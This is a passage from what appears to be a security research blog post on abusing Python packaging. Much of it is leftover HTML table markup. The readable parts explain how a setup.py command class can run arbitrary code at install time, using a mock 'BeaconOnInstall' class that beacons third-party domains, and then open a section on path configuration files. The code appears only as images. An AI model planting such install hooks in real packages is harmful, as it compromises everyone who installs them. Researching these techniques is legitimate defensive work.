Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build Hook Abuse</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW163761018 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW163761018 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 111px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="1223526327" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{171}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistence</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW163761018 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 511px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="1534876949" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{178}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Transient (fires once at install, leaves no residue)</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW163761018 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW163761018 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 111px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="1507254551" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{186}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW163761018 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 511px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="595989002" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{193}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">setup.py</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW163761018 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol LastRow SCXW163761018 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 111px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="1503559227" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{201}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Distributions</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW163761018 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 511px;"><div class="TableCellContent SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163761018 BCX4" paraid="811430273" paraeid="{a465b026-38b1-4b27-bb39-ba1e3ac218af}{208}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163761018 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">sdist</span></span><span class="EOP SCXW163761018 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>&#x201C;setup.py&#x201D; helps with building the source distribution into a package on clients. It can execute arbitrary code during build process and mainly uses <code>setuptools</code> library&#x2019;s <code>setup</code> function, to run pre/post-installation actions. setup function uses command classes through <code>distutils</code> <a href="https://docs.python.org/3.11/distutils/apiref.html#module-distutils.command.install" rel="noreferrer noopener"><u>library</u></a> to build the package. The initial payload is executed once during package installation. In the wild examples of <code>install</code> command class abuse were previously <a href="https://www.fortinet.com/blog/threat-research/fortiguard-ai-detects-malicious-packages-in-pypi" rel="noreferrer noopener"><u>reported</u></a>.&#xA0;</p><p>In Figure 2, the <code>setup</code> function uses a malicious mock-object called <code>BeaconOnInstall</code> to override installation behavior of the package.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-6-figure-2.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="1118" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-6-figure-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-6-figure-2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-6-figure-2.png 1430w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 2. &#x201C;setup.py&#x201D; containing a malicious command class.</span></figcaption></figure><p>After installing the Python package, the pyproject hooking script beacons third-party domains, as instructed with the <code>BeaconOnInstall</code> object.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-7.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="360" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-7.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-7.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-7.png 1430w" sizes="(min-width: 720px) 720px"></figure><h3 id="use-of-path-configuration-files">Use of Path Configuration Files&#xA0;</h3>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW100511730 BCX4" border="1" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1184" aria-rowcount="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: none; border-spacing: 0px;"><tbody class="SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW100511730 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstRow FirstCol SCXW100511730 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="1053720096" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{109}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">OS</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW100511730 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="315191382" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{116}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Windows, Linux, macOS</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW100511730 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW100511730 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="1257941811" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{124}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Category</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW100511730 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="226929180" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{131}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build Hook Abuse</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW100511730 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW100511730 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="1352192791" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{139}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistence</span></span><span class="EOP SCXW100511730 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW100511730 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW100511730 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW100511730 BCX4" paraid="300351721" paraeid="{af509747-e7a7-4d1a-acab-632c7ee68a21}{146}" style="-webkit-user-drag: none; 